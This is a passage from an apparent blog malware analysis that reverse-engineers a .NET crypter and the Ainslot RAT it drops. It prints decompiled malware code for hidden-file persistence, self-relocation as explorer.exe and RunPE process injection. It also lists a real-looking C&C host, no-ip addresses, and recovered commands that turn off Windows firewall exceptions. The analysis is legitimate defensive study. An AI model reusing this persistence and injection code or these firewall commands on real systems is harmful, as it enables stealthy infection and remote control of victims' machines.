			if (Operators.CompareString(ue4tretr._fa2, true.ToString(CultureInfo.InvariantCulture), false) == 0)
			{
				ue4tretr.Startup();
			}
			ue4tretr._byteArray = Encoding.Default.GetBytes(s);
			if (Operators.CompareString(ue4tretr._fa3, true.ToString(CultureInfo.InvariantCulture), false) == 0)
			{
				ue4tretr.Injection();
			}
			if (Operators.CompareString(ue4tretr._fa4, true.ToString(CultureInfo.InvariantCulture), false) == 0)
			{
				ue4tretr.AppLaunch();
			}
			if (Operators.CompareString(ue4tretr._fa5, true.ToString(CultureInfo.InvariantCulture), false) == 0)
			{
				ue4tretr.Vbc();
			}
			if (Operators.CompareString(ue4tretr._fa2, true.ToString(CultureInfo.InvariantCulture), false) == 0)
			{
				ue4tretr.FilePersistece();
			}
			ProjectData.EndApp();
		}
		[MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)]
		public static void Melt()
		{
			try
			{
				string fileName = Process.GetCurrentProcess().MainModule.FileName;
				string text = Environment.GetFolderPath(Environment.SpecialFolder.Templates) + "\\explorer.exe";
				File.Delete(text);
				File.Move(fileName, text);
				Process.Start(text);
				File.SetAttributes(text, FileAttributes.Hidden);
				ProjectData.EndApp();
			}
			catch (Exception expr_44)
			{
				ProjectData.SetProjectError(expr_44);
				ProjectData.ClearProjectError();
			}
		}
		public static void Startup()
		{
			try
			{
				File.Copy(Process.GetCurrentProcess().MainModule.FileName, Path.GetTempPath() + "\\sppnp.exe");
				if (!File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.Templates) + "\\THEMECPL.exe"))
				{
					try
					{
						File.WriteAllBytes(Environment.GetFolderPath(Environment.SpecialFolder.Templates) + "\\THEMECPL.exe", Resources.Project1);
					}
					catch (Exception arg_58_0)
					{
						ProjectData.SetProjectError(arg_58_0);
						ProjectData.ClearProjectError();
					}
					File.SetAttributes(Path.GetTempPath() + "\\sppnp.exe", FileAttributes.ReadOnly | FileAttributes.Hidden | FileAttributes.System | FileAttributes.NotContentIndexed);
					File.SetAttributes(Environment.GetFolderPath(Environment.SpecialFolder.Templates) + "\\THEMECPL.exe", FileAttributes.ReadOnly | FileAttributes.Hidden | FileAttributes.NotContentIndexed);
				}
			}
			catch (Exception arg_9A_0)
			{
				ProjectData.SetProjectError(arg_9A_0);
				ProjectData.ClearProjectError();
			}
		}
		public static void FilePersistece()
		{
			List<string> list = new List<string>();
			while (true)
			{
				try
				{
					Process[] processes = Process.GetProcesses();
					for (int i = 0; i < processes.Length; i++)
					{
						Process process = processes[i];
						list.Add(process.ProcessName);
					}
					if (!list.Contains("THEMECPL"))
					{
						Process.Start(Environment.GetFolderPath(Environment.SpecialFolder.Templates) + "\\THEMECPL.exe");
					}
					list.Clear();
					Thread.Sleep(100);
				}
				catch (Exception arg_5D_0)
				{
					ProjectData.SetProjectError(arg_5D_0);
					ProjectData.ClearProjectError();
				}
			}
		}
		public static void Injection()
		{
			if (Environment.OSVersion.Version.Major >= 6)
			{
				RuntimePortableExecutable.Windows7(ue4tretr._byteArray, Process.GetCurrentProcess().MainModule.FileName);
			}
			else
			{
				RuntimePortableExecutable.WindowsXp(ue4tretr._byteArray, Process.GetCurrentProcess().MainModule.FileName);
			}
		}
		public static void AppLaunch()
		{
			if (Environment.OSVersion.Version.Major >= 6)
			{
				RuntimePortableExecutable.Windows7(ue4tretr._byteArray, Interaction.Environ("Windir") + "\\Microsoft.NET\\Framework\\v2.0.50727\\AppLaunch.exe");
			}
			else
			{
				RuntimePortableExecutable.WindowsXp(ue4tretr._byteArray, Interaction.Environ("Windir") + "\\Microsoft.NET\\Framework\\v2.0.50727\\AppLaunch.exe");
			}
		}
		public static void Vbc()
		{
			if (Environment.OSVersion.Version.Major >= 6)
			{
				RuntimePortableExecutable.Windows7(ue4tretr._byteArray, Interaction.Environ("Windir") + "\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.exe");
			}
			else
			{
				RuntimePortableExecutable.WindowsXp(ue4tretr._byteArray, Interaction.Environ("Windir") + "\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.exe");
			}
		}
	}
}

Now for a little explaination. The other methods are self explainatory – we are most interested in the ‘tuy5u6ruy’ method. It should be noted that this method was exlicitly labled in the previous binary as to be called from the resource method. This particular method starts by opening a file handle of the running binary and returning a buffer containing the contents of the running binary. It then takes the contents of the array and runs its decryption routine on it (see class ‘ThirdXorr’ and finally runs the decrypted binary via the injection / persistance methods, adding the decrypted binary to startup. Ingenius.

Once again, we’re going to rip off the code of the malware to return the decrypted binary. We’ll have to make a few changes however, like instead of grabbing the running process for a byte stream, we’ll pass a static binary. After all, why run the malware when we don’t have to? Also, there are a few fixups to do as this was originally compiled with VB.net and not C#, so minor casting issues are to be fixed. Also, we need to be sure we open the original binary at the top of the chain, not the one from the resource file in the FileOpen() method call:

crackedagain

It’s taken us a while, but the we have finally arrived at the target binary which is supposed to run. This binary, aptly named ‘haha.wut’, decrypted from our ripped code, is NOT a .net binary. In fact, its a vb6 binary, a dll at that.

Filename: haha.wut
MD5 Hash: A953D2420CDAD1E4AE7F06AD56D893D7
Detection Ratio: Unknown

Packed? OF COURSE IT IS!

so_very_packed

From here, its a matter of running the thing in a controlled VM and pulling anything useful out of RAM. From what I saw, it wasn’t new 0day malware, rather some off the shell stuff called “nir_cmd.bss setsysvolume 65535”, and is a RAT. I know this because of the unique string present in the binary “bss_server.Socket” which, after a quick google search, is present in the malware “Ainslot”, one of the dozens of Zues variants which would technically make it a banker bot. See http://www.virusradar.com/Win32_Ainslot.AA/description.

What it does is turn off the firewall, gets the IP / geolocation, and then attempt to call home to a dynamic DNS provider. unfortunately for me, the IP associated with the dynamic DNS provider was no longer valid, however at the time, I’m told it pointed back to Syria.

C&C host: alosh66.servecounterstrike.com

nf1.no-ip.com [50.31.129.129]
nf2.no-ip.com [69.72.255.8]
nf3.no-ip.com [69.65.40.108]
nf4.no-ip.com [69.65.5.122]
Query for DNS records for alosh66.servecounterstrike.com failed: Timed out

Memory info:

x27adf74 (314): cmd /c REG ADD HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile /v “DoNotAllowExceptions” /t REG_DWORD /d “0” /f
0x27ae118 (282): cmd /c REG ADD HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List /v ”
0x27ae238 (32): ” /t REG_SZ /d ”

0x27aebcc (32): api.ipinfodb.com
0x27aebf4 (50): GET /v2/ip_query.php?key=
0x27aec2c (44): &timezone=off HTTP/1.1
0x27aec60 (44): Host: api.ipinfodb.com
0x27aec94 (46): Cache-Control: no-cache
0x27aece4 (20):
0x27aed10 (22):
0x27aed2c (66): GET /v2/ip_query_country.php?key=
0x27aed74 (26):
0x27aeda8 (24):
0x27aede8 (26): MaxClockSpeed

Good stuff right?

You can download the source for the first reversal app here, the second here, and the full malware / logs / good stuff here. The password is ‘infected’.

Happy cracking!

woody

Leave a Reply

Your email address will not be published.

This site uses Akismet to reduce spam. Learn how your comment data is processed.